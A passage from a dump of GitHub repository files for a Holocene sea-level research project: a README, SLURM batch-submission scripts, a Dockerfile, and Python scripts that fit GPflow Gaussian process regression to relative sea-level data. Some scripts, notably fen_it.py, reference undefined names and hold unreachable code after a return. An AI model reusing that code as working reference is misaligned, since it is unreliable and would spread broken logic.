random.seed(13)\n self.roots = []\n self.intents = []\n self.weights = []\n self.sep = ' ' # lg.get_sep_by_lang(lang)\n\n def add_root(self, root, intent, weight = 1.0):\n self.roots.append(root)\n self.intents.append(intent)\n self.weights.append(weight)\n return self\n\n\n def generate(self, num):\n annos = []\n self.unk_cnt = 0\n content = 'No,Category,Descript\\n'\n for no in range(num):\n i = weighted_sample(self.weights)\n text, _, _ = self.roots[i].generate()\n if len(text) == 0: # filter out empty simulation\n continue\n content += str(no) + ',' + self.intents[i] + ',\\\"' + text + '\"\\n'\n return content \n" } ]
4
rcameronc/Holocene_readv
https://github.com/rcameronc/Holocene_readv
0fbfd82588f94b702da5e6c51edc1e7d49ef8005
d2360513a344b7fd82392200ba39eb531394fd45
c3788386180cfce4d546a4d6ce8432ed8eb55638
refs/heads/master
2022-08-30T11:19:28.743748
2020-05-24T15:59:33
2020-05-24T15:59:33
196,241,354
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7371134161949158, "alphanum_fraction": 0.7654638886451721, "avg_line_length": 19.421052932739258, "blob_id": "db957a62a5b94296715f37971c43273aba3bdd4b", "content_id": "a786998fe751432a6fbcbd420d69a1e89b411aff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 388, "license_type": "no_license", "max_line_length": 78, "num_lines": 19, "path": "/.ipynb_checkpoints/README-checkpoint.md", "repo_name": "rcameronc/Holocene_readv", "src_encoding": "UTF-8", "text": "# Holocene_readv\nHolocene readvance project\n\n### Install Instructions\n`TODO: Generate Data and put it in /data`\nDownload data (glac1d_ and d6g_h6g_ folders)\nfrom https://www.dropbox.com/sh/mqdprubp8mj58be/AADpXav-5fhQM3liBwjaRIgpa?dl=0\nand install in a local directory named data/\n\nInstall Conda\n```\nbrew install conda\n```\n\nInstall Conda env\n```\nmake install\nconda activate gpflow6_0\n```\n" }, { "alpha_fraction": 0.6169999837875366, "alphanum_fraction": 0.6455000042915344, "avg_line_length": 22.255813598632812, "blob_id": "f161417792ddc2b10c77a97997e651758614b972", "content_id": "14d990efd567860716d7a9ff0b44e237720fc931", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2000, "license_type": "no_license", "max_line_length": 96, "num_lines": 86, "path": "/submit_fen_av.sh", "repo_name": "rcameronc/Holocene_readv", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n\nfor tmax in 12010\ndo\n\nfor tmin in 50\ndo\n\nfor place in fennoscandia # europe\ndo\n\n# put together file name\nfileName=\"execute_${tmax}_${tmin}_${place}_fenavg\"\nfileName_run=\"run_${tmax}_${tmin}_${place}_fenavg.sh\"\nfileName_out=\"out_${tmax}_${tmin}_${place}_fenavg.out\"\nrun_name=\"${tmax}_${tmin}_${place}_modavg\";\n\n\n\n## create this folder in the same place as this file\nmkdir run_fen\n\n# go to run folder\ncd run_fen\n\n# write an execute script that passes parameters on to execute script\nrm $fileName_run\n\n# Open file descriptor (fd) 4 for read/write on a text file.\nexec 4<> $fileName_run\n\n # Let's print some text to fd 3\n echo \"cd ..\" >&4\n echo \"python -m memory_profiler fen_nigp_it.py --tmax $tmax --tmin $tmin --place $place\" >&4\n echo \"exit\" >&4\n\n# Close fd 4\nexec 4>&-\n\n## create this folder in the same directory as this file\n\ncd ..\nmkdir execute_fen\n\n# go to execute folder\ncd execute_fen\n# rm $fileName\n# write a submit script that passes parameters on to execute script\n\n # Open file descriptor (fd) 3 for read/write on a text file.\n exec 3<> $fileName\n\n # Let's print some text to fd 3\n echo \"#!/bin/bash\" >&3\n echo \"#SBATCH -o $fileName_out\" >&3\n echo \"#SBATCH -A jalab\" >&3\n echo \"#SBATCH -J $run_name\" >&3\n echo \"#SBATCH --gres=gpu:1\" >&3\n# echo \"#SBATCH --mem-per-cpu=125gb\" >&3\n echo \"#SBATCH --time=0:05:00\" >&3\n echo \"#SBATCH --mail-type=ALL\" >&3 # specify what kind of emails you want to get\n echo \"#SBATCH [email protected]\" >&3 # specify email address\"\n echo \" \" >&3\n echo \"module load singularity\" >&3\n echo \"module load cuda80/toolkit\" >&3\n echo \"singularity shell --nv /rigel/jalab/users/rcc2167/gpflow-tensorflow-rcc2167.simg\" >&3\n echo \"source activate gpflow6_0\" >&3\n echo \"cd ../run_fen/\" >&3\n echo \"bash ${fileName_run}\" >&3\n \n # Close fd 3\n exec 3>&-\n\n# submit execute file\n\neval \"sbatch $fileName\"\necho \"sbatch $fileName\"\n#cd ../code\n\n# go back to start\ncd ..\n\ndone\ndone\ndone\n" }, { "alpha_fraction": 0.6962025165557861, "alphanum_fraction": 0.746835470199585, "avg_line_length": 10.142857551574707, "blob_id": "7ef6e0cfeb86b50e36c8f24b551e798d7abd4506", "content_id": "c2872cfc4d617b2cb4a327611c8cda86b5634c21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 79, "license_type": "no_license", "max_line_length": 33, "num_lines": 7, "path": "/Dockerfile", "repo_name": "rcameronc/Holocene_readv", "src_encoding": "UTF-8", "text": "FROM continuumio/miniconda:4.7.12\n\nWORKDIR src\n\nCOPY . /src\n\nRUN make install\n\n" }, { "alpha_fraction": 0.5073242783546448, "alphanum_fraction": 0.5295989513397217, "avg_line_length": 38.103004455566406, "blob_id": "c978a3d9aed85040a6e4093323775e904c24fad4", "content_id": "7a3810d3fd63b0ac3910c2524231517eb5ad8c98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18230, "license_type": "no_license", "max_line_length": 136, "num_lines": 466, "path": "/fen_it.py", "repo_name": "rcameronc/Holocene_readv", "src_encoding": "UTF-8", "text": "# uses conda environment gpflow6_0\n\n# #!/anaconda3/envs/gpflow6_0/env/bin/python\n\n# from memory_profiler import profile\n\n# generic\nimport numpy as np\nimport pandas as pd\nimport xarray as xr\nimport scipy.io as io\nfrom itertools import product\nimport glob\nimport time\n\n\n# gpflow\nimport gpflow\nimport gpflow as gpf\nfrom gpflow.utilities import print_summary\nfrom gpflow.logdensities import multivariate_normal\nfrom gpflow.kernels import Kernel\nfrom gpflow.mean_functions import MeanFunction\nfrom typing import Optional, Tuple\nfrom gpflow.config import default_jitter, default_float\n\n\nfrom gpflow.utilities import print_summary, positive\nfrom gpflow.models.model import InputData, RegressionData, MeanAndVariance, GPModel\nfrom gpflow.base import Parameter\nfrom gpflow.models.training_mixins import InternalDataTrainingLossMixin\n\n\n\n# tensorflow\nimport tensorflow as tf\nfrom tensorflow_probability import bijectors as tfb\nimport argparse\n\n# @profile\n\ndef readv():\n\n\n parser = argparse.ArgumentParser(description='import vars via c-line')\n parser.add_argument(\"--mod\", default='d6g_h6g_')\n parser.add_argument(\"--lith\", default='l71C')\n parser.add_argument(\"--um\", default=\"p2\")\n parser.add_argument(\"--lm\", default=\"3\")\n parser.add_argument(\"--tmax\", default=1600)\n parser.add_argument(\"--tmin\", default=1)\n parser.add_argument(\"--place\", default=\"fennoscandia\")\n\n args = parser.parse_args()\n ice_model = args.mod\n lith = args.lith\n um = args.um\n lm = args.lm\n tmax = int(args.tmax)\n tmin = int(args.tmin)\n place = args.place\n\n\n ages_lgm = np.arange(100, 26000, 100)[::-1]\n ages = np.arange(tmin, tmax, 100)[::-1]\n\n locs = {'europe': [-20, 15, 35, 70],\n 'atlantic':[-85,50, 25, 73],\n 'fennoscandia': [-15, 50, 45, 75],\n 'world': [-175, 175, -85, 85]\n }\n extent = locs[place]\n\n #import khan dataset\n path = 'data/GSL_LGM_120519_.csv'\n\n df = pd.read_csv(path, encoding=\"ISO-8859-15\", engine='python')\n df = df.replace('\\s+', '_', regex=True).replace('-', '_', regex=True).\\\n applymap(lambda s:s.lower() if type(s) == str else s)\n df.columns = df.columns.str.lower()\n df.rename_axis('index', inplace=True)\n df = df.rename({'latitude': 'lat', 'longitude': 'lon'}, axis='columns')\n dfind, dfterr, dfmar = df[(df.type == 0)\n & (df.age > 0)], df[df.type == 1], df[df.type == -1]\n np.sort(list(set(dfind.regionname1)))\n\n #select location\n df_slice = dfind[(dfind.age > tmin) & (dfind.age < tmax) &\n (dfind.lon > extent[0])\n & (dfind.lon < extent[1])\n & (dfind.lat > extent[2])\n & (dfind.lat < extent[3])][[\n 'lat', 'lon', 'rsl', 'rsl_er_max', 'rsl_er_min', 'age', 'age_er_max', 'age_er_min']]\n df_slice['rsl_er'] = (df_slice.rsl_er_max + df_slice.rsl_er_min)/2\n df_slice['age_er'] = (df_slice.age_er_max + df_slice.age_er_min)/2\n df_place = df_slice.copy()\n\n #prescribe present-day RSL to zero\n preslocs = df_place.groupby(['lat', 'lon'])[['rsl', 'rsl_er_max', 'age']].nunique().reset_index()[::2]\n preslocs['rsl'] = 0.01\n preslocs['rsl_er'] = 0.01\n preslocs['rsl_er_max'] = 0.01\n preslocs['rsl_er_min'] = 0.01\n preslocs['age_er'] = 1\n preslocs['age_er_max'] = 1\n preslocs['age_er_min'] = 1\n preslocs['age'] = 10\n df_place = pd.concat([df_place, preslocs]).reset_index(drop=True)\n\n #################### Make xarray template #######################\n #################### ---------------------- #######################\n\n filename = 'data/WAISreadvance_VM5_6ka_1step.mat'\n template = io.loadmat(filename, squeeze_me=True)\n\n template = xr.Dataset({'rsl': (['lat', 'lon', 'age'], np.zeros((256, 512, len(ages))))},\n coords={'lon': template['lon_out'],\n 'lat': template['lat_out'],\n 'age': ages})\n template.coords['lon'] = pd.DataFrame((template.lon[template.lon >= 180] - 360)- 0.12) \\\n .append(pd.DataFrame(template.lon[template.lon < 180]) + 0.58) \\\n .reset_index(drop=True).squeeze()\n ds_template = template.swap_dims({'dim_0': 'lon'}).drop('dim_0').sel(lon=slice(extent[0] + 180 - 2,\n extent[1] + 180 + 2),\n lat=slice(extent[3] + 2,\n extent[2] - 2)).rsl\n #add more data at zero locations\n nout = 50\n lat = np.linspace(min(df_place.lat), max(df_place.lat), nout)\n lon = np.linspace(min(df_place.lon), max(df_place.lon), nout)\n xy = np.array(list(product(lon, lat)))[::15]\n\n morepreslocs = pd.DataFrame(xy, columns=['lon', 'lat'])\n morepreslocs['rsl'] = 0.01 + np.zeros(len(xy))\n morepreslocs['rsl_er_max'] = 0.01 + np.zeros(len(xy))\n morepreslocs['age'] = 100 + np.zeros(len(xy))\n\n df_place = pd.concat([df_place, preslocs, morepreslocs]).reset_index(drop=True)\n df_place.shape\n\n\n\n #################### Load GIA datasets #######################\n #################### ---------------------- #######################\n def make_mod(ice_model, lith):\n \"\"\"combine model runs from local directory into xarray dataset.\"\"\"\n\n path = f'data/{ice_model}/output_{ice_model}{lith}'\n files = f'{path}*.nc'\n basefiles = glob.glob(files)\n modelrun = [key.split('output_', 1)[1][:-3].replace('.', '_') for key in basefiles]\n dss = xr.open_mfdataset(files,\n chunks=None,\n concat_dim='modelrun',\n combine='nested')\n lats, lons, times = dss.LAT.values[0], dss.LON.values[0], dss.TIME.values[0]\n ds = dss.drop(['LAT', 'LON', 'TIME']).assign_coords(lat=lats,\n lon=lons,\n time=times * 1000,\n modelrun=modelrun).rename({\n 'time': 'age', 'RSL': 'rsl'})\n ds = ds.chunk({'lat': 10, 'lon': 10})\n ds = ds.roll(lon=256, roll_coords=True)\n ds.coords['lon'] = pd.DataFrame((ds.lon[ds.lon >= 180] - 360)- 0.12 ) \\\n .append(pd.DataFrame(ds.lon[ds.lon < 180]) + 0.58) \\\n .reset_index(drop=True).squeeze()\n ds = ds.swap_dims({'dim_0': 'lon'}).drop('dim_0')\n\n print(ds)\n print(extent[0] - 2, extent[1] + 2, extent[3] + 2, extent[2] - 2)\n\n #slice dataset to location\n #ds = ds.rsl.sel(age=slice(ages[0], ages[-1]),\n # lon=slice(extent[0] - 2, extent[1] + 2),\n # lat=slice(extent[3] + 2, extent[2] - 2))\n\n ds = ds.rsl.sel(age=slice(ages[0], ages[-1]))\n # ds = ds.sel(lon=slice(extent[0] - 2, extent[1] + 2))\n ds = ds.sel(lat=slice(extent[3] + 2, extent[2] - 2))\n\n #add present-day RSL at zero to the GIA model\n ds_zeros = xr.zeros_like(ds)[:,0] + 0.01\n ds_zeros['age'] = 0.1\n ds_zeros = ds_zeros.expand_dims('age').transpose('modelrun','age', 'lon', 'lat')\n ds = xr.concat([ds, ds_zeros], 'age')\n\n return ds\n\n ds = make_mod(ice_model, lith)\n\n #make mean of runs\n ds_giamean = ds.mean(dim='modelrun').load().chunk((-1,-1,-1)).interp(lon=ds_template.lon, lat=ds_template.lat).to_dataset()\n ds_giastd = ds.std(dim='modelrun').load().chunk((-1,-1,-1)).interp(lon=ds_template.lon, lat=ds_template.lat).to_dataset()\n\n #sample each model at points where we have RSL data\n def ds_select(ds):\n return ds.rsl.sel(age=[row.age],\n lon=[row.lon],\n lat=[row.lat],\n method='nearest').squeeze().values\n\n #select points at which RSL data exists\n for i, row in df_place.iterrows():\n df_place.loc[i, 'rsl_realresid'] = df_place.rsl[i] - ds_select(ds_giamean)\n df_place.loc[i, 'rsl_giaprior'] = ds_select(ds_giamean)\n df_place.loc[i, 'rsl_giaprior_std'] = ds_select(ds_giastd)\n\n print('number of datapoints = ', df_place.shape)\n\n ################## RUN GP REGRESSION #######################\n ################## -------------------- ######################\n start = time.time()\n\n\n\n\n class GPR_diag_(gpf.models.GPModel):\n r\"\"\"\n Gaussian Process Regression.\n This is a vanilla implementation of GP regression with a pointwise Gaussian\n likelihood. Multiple columns of Y are treated independently.\n The log likelihood of this model is sometimes referred to as the 'marginal log likelihood',\n and is given by\n .. math::\n \\log p(\\mathbf y \\,|\\, \\mathbf f) =\n \\mathcal N\\left(\\mathbf y\\,|\\, 0, \\mathbf K + \\sigma_n \\mathbf I\\right)\n \"\"\"\n def __init__(self,\n data: Data,\n kernel: Kernel,\n mean_function: Optional[MeanFunction] = None,\n likelihood=noise_variance):\n likelihood = gpf.likelihoods.Gaussian(variance=likelihood)\n _, y_data = data\n super().__init__(kernel,\n likelihood,\n mean_function,\n num_latent=y_data.shape[-1])\n self.data = data\n\n def log_likelihood(self):\n \"\"\"\n Computes the log likelihood.\n \"\"\"\n x, y = self.data\n K = self.kernel(x)\n num_data = x.shape[0]\n k_diag = tf.linalg.diag_part(K)\n s_diag = tf.convert_to_tensor(self.likelihood.variance)\n jitter = tf.cast(tf.fill([num_data], default_jitter()),\n 'float64') # stabilize K matrix w/jitter\n ks = tf.linalg.set_diag(K, k_diag + s_diag + jitter)\n L = tf.linalg.cholesky(ks)\n m = self.mean_function(x)\n\n # [R,] log-likelihoods for each independent dimension of Y\n log_prob = multivariate_normal(y, m, L)\n return tf.reduce_sum(log_prob)\n\n def predict_f(self,\n predict_at: tf.Tensor,\n full_cov: bool = False,\n full_output_cov: bool = False):\n r\"\"\"\n This method computes predictions at X \\in R^{N \\x D} input points\n .. math::\n p(F* | Y)\n where F* are points on the GP at new data points, Y are noisy observations at training data points.\n \"\"\"\n x_data, y_data = self.data\n err = y_data - self.mean_function(x_data)\n\n kmm = self.kernel(x_data)\n knn = self.kernel(predict_at, full=full_cov)\n kmn = self.kernel(x_data, predict_at)\n\n num_data = x_data.shape[0]\n\n s = tf.linalg.diag(tf.convert_to_tensor(\n self.likelihood.variance)) #changed from normal GPR\n\n k_diag = tf.linalg.diag_part(kmm)\n s_diag = tf.convert_to_tensor(self.likelihood.variance)\n jitter = tf.cast(tf.fill([num_data], default_jitter()),\n 'float64') # stabilize K matrix w/jitter\n ks = tf.linalg.set_diag(kmm, k_diag + s_diag + jitter)\n L = tf.linalg.cholesky(ks)\n\n conditional = gpf.conditionals.base_conditional\n f_mean_zero, f_var = conditional(\n kmn, kmm + s, knn, err, full_cov=full_cov,\n white=False) # [N, P], [N, P] or [P, N, N]\n\n f_mean = f_mean_zero + self.mean_function(predict_at)\n return f_mean, f_var\n\n\n def normalize(df):\n return np.array((df - df.mean()) / df.std()).reshape(len(df), 1)\n\n\n def denormalize(y_pred, df):\n return np.array((y_pred * df.std()) + df.mean())\n\n\n def bounded_parameter(low, high, param):\n \"\"\"Make parameter tfp Parameter with optimization bounds.\"\"\"\n\n sigmoid = tfb.Sigmoid(low=tf.cast(low, tf.float64),\n high=tf.cast(high, tf.float64),\n name='sigmoid')\n parameter = gpf.Parameter(param, transform=sigmoid, dtype=tf.float64)\n return parameter\n\n class HaversineKernel_Matern32(gpf.kernels.Matern32):\n \"\"\"\n Isotropic Matern52 Kernel with Haversine distance instead of euclidean distance.\n Assumes n dimensional data, with columns [latitude, longitude] in degrees.\n \"\"\"\n def __init__(\n self,\n lengthscales=1.0,\n variance=1.0,\n active_dims=None,\n ):\n super().__init__(\n active_dims=active_dims,\n variance=variance,\n lengthscales=lengthscales,\n )\n\n def haversine_dist(self, X, X2):\n pi = np.pi / 180\n f = tf.expand_dims(X * pi, -2) # ... x N x 1 x D\n f2 = tf.expand_dims(X2 * pi, -3) # ... x 1 x M x D\n d = tf.sin((f - f2) / 2)**2\n lat1, lat2 = tf.expand_dims(X[:, 0] * pi, -1), \\\n tf.expand_dims(X2[:, 0] * pi, -2)\n cos_prod = tf.cos(lat2) * tf.cos(lat1)\n a = d[:, :, 0] + cos_prod * d[:, :, 1]\n c = tf.asin(tf.sqrt(a)) * 6371 * 2\n return c\n\n def scaled_squared_euclid_dist(self, X, X2):\n \"\"\"\n Returns (dist(X, X2ᵀ)/lengthscales)².\n \"\"\"\n if X2 is None:\n X2 = X\n dist = tf.square(self.haversine_dist(X, X2) / self.lengthscales)\n\n return dist\n\n\n ########### Section to Run GPR######################\n ####################################################\n\n # Input space, rsl normalized to zero mean, unit variance\n X = np.stack((df_place['lon'], df_place['lat'], df_place['age']), 1)\n\n RSL = normalize(df_place.rsl_realresid)\n\n #define kernels with bounds\n k1 = HaversineKernel_Matern32(active_dims=[0, 1])\n k1.lengthscales = bounded_parameter(100, 60000, 300) #hemispheric space\n k1.variance = bounded_parameter(0.1, 100, 2)\n\n k2 = HaversineKernel_Matern32(active_dims=[0, 1])\n k2.lengthscales = bounded_parameter(1, 6000, 10) #GIA space\n k2.variance = bounded_parameter(0.1, 100, 2)\n\n k3 = gpf.kernels.Matern32(active_dims=[2]) #GIA time\n k3.lengthscales = bounded_parameter(0.1, 20000, 1000)\n k3.variance = bounded_parameter(0.1, 100, 1)\n\n k4 = gpf.kernels.Matern32(active_dims=[2]) #shorter time\n k4.lengthscales = bounded_parameter(1, 6000, 100)\n k4.variance = bounded_parameter(0.1, 100, 1)\n\n k5 = gpf.kernels.White(active_dims=[2])\n k5.variance = bounded_parameter(0.01, 100, 1)\n\n kernel = (k1 * k3) + k5 # + (k4 * k2)\n\n #build & train model\n m = GPR_new((X, RSL), kernel=kernel, noise_variance=noise_variance)\n print('model built, time=', time.time() - start)\n\n @tf.function(autograph=False)\n def objective():\n return - m.log_marginal_likelihood()\n\n o = gpf.optimizers.Scipy()\n o.minimize(objective, variables=m.trainable_variables, method='trust-constr', options={'maxiter': 2000, 'disp': True, 'verbose': 1})\n print('model minimized, time=', time.time() - start)\n\n # output space\n nout = 20\n lat = np.linspace(min(ds_giamean.lat), max(ds_giamean.lat), nout)\n lon = np.linspace(min(ds_giamean.lon), max(ds_giamean.lon), nout)\n xyt = np.array(list(product(lon, lat, ages)))\n\n #query model & renormalize data\n y_pred, var = m.predict_f(xyt)\n y_pred_out = denormalize(y_pred, df_place.rsl_realresid)\n\n #reshape output vectors\n Zp = np.array(y_pred_out).reshape(nout, nout, len(ages))\n varp = np.array(var).reshape(nout, nout, len(ages))\n\n #print kernel details\n print_summary(m, fmt='notebook')\n print('time elapsed = ', time.time() - start)\n\n print('negative log marginal likelihood =',\n m.log_marginal_likelihood().numpy())\n\n# loglike = []\n# loglike.append(m.neg_log_marginal_likelihood().numpy())\n loglike = m.log_marginal_likelihood().numpy()\n\n\n ################## INTERPOLATE MODELS #######################\n ################## -------------------- ######################\n\n # turn GPR output into xarray dataarray\n da_zp = xr.DataArray(Zp, coords=[lon, lat, ages],\n dims=['lon', 'lat','age']).transpose('age', 'lat', 'lon')\n da_varp = xr.DataArray(varp, coords=[lon, lat, ages],\n dims=['lon', 'lat', 'age']).transpose('age', 'lat', 'lon')\n\n def interp_likegpr(ds):\n return ds.load().interp_like(da_zp)\n\n #interpolate all models onto GPR grid\n ds_giapriorinterp = interp_likegpr(ds_giamean)\n ds_giapriorinterpstd = interp_likegpr(ds_giastd)\n\n # add total prior RSL back into GPR\n ds_priorplusgpr = da_zp + ds_giapriorinterp\n\n return ages, da_zp, ds_giapriorinterpstd, ds_giapriorinterp, ds_priorplusgpr, da_varp, loglike\n\n ages, da_zp, ds_giapriorinterpstd, ds_giapriorinterp, ds_priorplusgpr, da_varp, loglike = run_gpr()\n\n ################## SAVE NETCDFS #######################\n ################## -------------------- ######################\n\n path_gen = f'output/{place}_{ice_model}{ages[0]}_{ages[-1]}'\n da_zp.to_netcdf(path_gen + '_dazp')\n da_giapriorinterp.to_netcdf(path_gen + '_giaprior')\n da_giapriorinterpstd.to_netcdf(path_gen + '_giapriorstd')\n da_priorplusgpr.to_netcdf(path_gen + '_posterior')\n da_varp.to_netcdf(path_gen + '_gpvariance')\n\n #store log likelihood in dataframe\n df_out = pd.DataFrame({'modelrun': 'average_likelihood',\n 'log_marginal_likelihood': loglikelist})\n\n writepath = f'output/{path_gen}_loglikelihood'\n\n df_out.to_csv(writepath, index=False)\n df_likes = pd.read_csv(writepath)\n\nif __name__ == '__main__':\n readv()\n\n\n\n\n\n" }, { "alpha_fraction": 0.4790055751800537, "alphanum_fraction": 0.49761733412742615, "avg_line_length": 39.517303466796875, "blob_id": "9c32bedd88b9f3841e5ee971161ef569c3dbee23", "content_id": "6a631a66854294c8955e89375a1b672c0f644dfc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22250, "license_type": "no_license", "max_line_length": 119, "num_lines": 549, "path": "/readv_it_av.py", "repo_name": "rcameronc/Holocene_readv", "src_encoding": "UTF-8", "text": "# uses conda environment gpflow6_0\n\n# #!/anaconda3/envs/gpflow6_0/env/bin/python\n\nfrom memory_profiler import profile\n\n# generic\nimport numpy as np\nimport pandas as pd\nimport xarray as xr\n# import dask.array as da\nimport scipy.io as io\nfrom itertools import product\nimport glob\nimport time\n\n# plotting\nfrom matplotlib.colors import Normalize\n\n# gpflow\nimport gpflow as gpf\nfrom gpflow.utilities import print_summary\nfrom gpflow.logdensities import multivariate_normal\nfrom gpflow.kernels import Kernel\nfrom gpflow.mean_functions import MeanFunction\nfrom typing import Optional, Tuple\nfrom gpflow.config import default_jitter\n\n# tensorflow\nimport tensorflow as tf\nfrom tensorflow_probability import bijectors as tfb\nimport argparse\n\n@profile\n\ndef readv():\n\n # set the colormap and centre the colorbar\n class MidpointNormalize(Normalize):\n \"\"\"Normalise the colorbar. e.g. norm=MidpointNormalize(mymin, mymax, 0.)\"\"\"\n def __init__(self, vmin=None, vmax=None, midpoint=None, clip=False):\n self.midpoint = midpoint\n Normalize.__init__(self, vmin, vmax, clip)\n\n def __call__(self, value, clip=None):\n x, y = [self.vmin, self.midpoint, self.vmax], [0, 0.5, 1]\n return np.ma.masked_array(np.interp(value, x, y), np.isnan(value))\n\n\n #################### Initialize parameters #######################\n #################### ---------------------- #######################\n\n parser = argparse.ArgumentParser(description='import vars via c-line')\n parser.add_argument(\"--mod\", default=\"glac1d_\")\n parser.add_argument(\"--tmax\", default=\"5010\")\n parser.add_argument(\"--tmin\", default=\"3990\")\n parser.add_argument(\"--place\", default=\"fennoscandia\")\n\n args = parser.parse_args()\n ice_model = args.mod\n tmax = int(args.tmax)\n tmin = int(args.tmin)\n place = args.place\n\n locs = {'europe': [-20, 15, 35, 70],\n 'atlantic':[-85,50, 25, 73],\n 'fennoscandia': [-15, 50, 45, 75]\n }\n extent = locs[place]\n tmax, tmin, tstep = int(tmax), int(tmin), 100\n\n ages_lgm = np.arange(100, 26000, tstep)[::-1]\n\n #import khan dataset\n path = 'data/GSL_LGM_120519_.csv'\n\n df = pd.read_csv(path, encoding=\"ISO-8859-15\", engine='python')\n df = df.replace('\\s+', '_', regex=True).replace('-', '_', regex=True).\\\n applymap(lambda s:s.lower() if type(s) == str else s)\n df.columns = df.columns.str.lower()\n df.rename_axis('index', inplace=True)\n df = df.rename({'latitude': 'lat', 'longitude': 'lon'}, axis='columns')\n dfind, dfterr, dfmar = df[(df.type == 0)\n & (df.age > 0)], df[df.type == 1], df[df.type == -1]\n np.sort(list(set(dfind.regionname1)))\n\n #select location\n df_place = dfind[(dfind.age > tmin) & (dfind.age < tmax) &\n (dfind.lon > extent[0])\n & (dfind.lon < extent[1])\n & (dfind.lat > extent[2])\n & (dfind.lat < extent[3])][[\n 'lat', 'lon', 'rsl', 'rsl_er_max', 'age']]\n \n #prescribe present-day RSL to zero\n# preslocs = df_place.groupby(['lat', 'lon'])[['rsl', 'rsl_er_max', 'age']].nunique().reset_index()[::2]\n# preslocs['rsl'] = 0.2\n# preslocs['rsl_er_max'] = 0.2\n# preslocs['age'] = 200\n# df_place = pd.concat([df_place, preslocs]).reset_index(drop=True)\n\n #################### Make 3D fingerprint #######################\n #################### ---------------------- #######################\n\n filename = 'data/WAISreadvance_VM5_6ka_1step.mat'\n\n waismask = io.loadmat(filename, squeeze_me=True)\n ds_mask = xr.Dataset({'rsl': (['lat', 'lon', 'age'], waismask['RSL'])},\n coords={\n 'lon': waismask['lon_out'],\n 'lat': waismask['lat_out'],\n 'age': np.round(waismask['ice_time_new'])\n })\n fingerprint = ds_mask.sel(age=ds_mask.age[0])\n\n\n def make_fingerprint(start, end, maxscale):\n\n #palindromic scaling vector\n def palindrome(maxscale, ages):\n \"\"\" Make palindrome scale 0-maxval with number of steps. \"\"\"\n half = np.linspace(0, maxscale, 1 + (len(ages) - 1) // 2)\n scalefactor = np.concatenate([half, half[::-1]])\n return scalefactor\n\n ages_readv = ages_lgm[(ages_lgm < start) & (ages_lgm >= end)]\n scale = palindrome(maxscale, ages_readv)\n\n #scale factor same size as ice model ages\n pre = np.zeros(np.where(ages_lgm == start)[0])\n post = np.zeros(len(ages_lgm) - len(pre) - len(scale))\n\n readv_scale = np.concatenate([pre, scale, post])\n\n #scale factor into dataarray\n da_scale = xr.DataArray(readv_scale, coords=[('age', ages_lgm)])\n\n # broadcast fingerprint & scale to same dimensions;\n fingerprint_out, fing_scaled = xr.broadcast(fingerprint.rsl, da_scale)\n\n # mask fingerprint with scale to get LGM-pres timeseries\n ds_fingerprint = (fingerprint_out *\n fing_scaled).transpose().to_dataset(name='rsl')\n\n # scale dataset with fingerprint to LGM-present length & 0-max-0 over x years\n xrlist = []\n for i, key in enumerate(da_scale):\n mask = ds_fingerprint.sel(age=ds_fingerprint.age[i].values) * key\n mask = mask.assign_coords(scale=key,\n age=ages_lgm[i]).expand_dims(dim=['age'])\n xrlist.append(mask)\n ds_readv = xr.concat(xrlist, dim='age')\n\n ds_readv.coords['lon'] = pd.DataFrame((ds_readv.lon[ds_readv.lon >= 180] - 360)- 0.12) \\\n .append(pd.DataFrame(ds_readv.lon[ds_readv.lon < 180]) + 0.58) \\\n .reset_index(drop=True).squeeze()\n ds_readv = ds_readv.swap_dims({'dim_0': 'lon'}).drop('dim_0')\n\n # Add readv to modeled RSL at locations with data\n ##### Need to fix this, as currently slice does not acknowledge new coords #########\n ds_readv = ds_readv.sel(age=slice(tmax, tmin),\n lon=slice(df_place.lon.min() + 180 - 2,\n df_place.lon.max() + 180 + 2),\n lat=slice(df_place.lat.max() + 2,\n df_place.lat.min() - 2))\n return ds_readv\n\n #Make deterministic readvance fingerprint\n start, end = 6100, 3000\n maxscale = 2.25\n ds_readv = make_fingerprint(start, end, maxscale)\n\n\n #################### Build GIA models \t#######################\n #################### ---------------------- #######################\n\n #Use either glac1d or ICE6G\n\n def build_dataset(path, model):\n \"\"\"download model runs from local directory.\"\"\"\n path = path\n files = f'{path}*.nc'\n basefiles = glob.glob(files)\n modelrun = [\n key.split('output_', 1)[1][:-3].replace('.', '_')\n for key in basefiles\n ]\n dss = xr.open_mfdataset(files,\n chunks=None,\n concat_dim='modelrun',\n combine='nested')\n lats, lons, times = dss.LAT.values[0], dss.LON.values[\n 0], dss.TIME.values[0]\n ds = dss.drop(['LAT', 'LON', 'TIME'])\n ds = ds.assign_coords(lat=lats,\n lon=lons,\n time=times,\n modelrun=modelrun).rename({\n 'time': 'age',\n 'RSL': 'rsl'\n })\n return ds\n\n def one_mod(path, names):\n \"\"\"Organize model runs into xarray dataset.\"\"\"\n ds1 = build_dataset(path, names[0])\n names = names[1:]\n ds = ds1.chunk({'lat': 10, 'lon': 10})\n for i in range(len(names)):\n temp = build_dataset(names[i])\n temp1 = temp.interp_like(ds1)\n temp1['modelrun'] = temp['modelrun']\n ds = xr.concat([ds, temp1], dim='modelrun')\n ds['age'] = ds['age'] * 1000\n ds = ds.roll(lon=256, roll_coords=True)\n ds.coords['lon'] = pd.DataFrame((ds.lon[ds.lon >= 180] - 360)- 0.12 ) \\\n .append(pd.DataFrame(ds.lon[ds.lon < 180]) + 0.58) \\\n .reset_index(drop=True).squeeze()\n ds.coords['lat'] = ds.lat[::-1]\n ds = ds.swap_dims({'dim_0': 'lon'}).drop('dim_0')\n return ds\n\n\n #make composite of a bunch of GIA runs, i.e. GIA prior\n path = f'data/{ice_model}/output_'\n\n ds_sliced_in = one_mod(path,[ice_model])\n\n ds_sliced = ds_sliced_in.rsl.assign_coords({'lat':ds_sliced_in.lat.values[::-1]}).sel(\n age=slice(tmax, tmin),\n lon=slice(df_place.lon.min() - 2,\n df_place.lon.max() + 2),\n lat=slice(df_place.lat.max() + 2,\n df_place.lat.min() - 2))\n ds_area = ds_sliced.mean(dim='modelrun').load().chunk((-1,-1,-1)).interp(\n age=ds_readv.age, lon=ds_readv.lon, 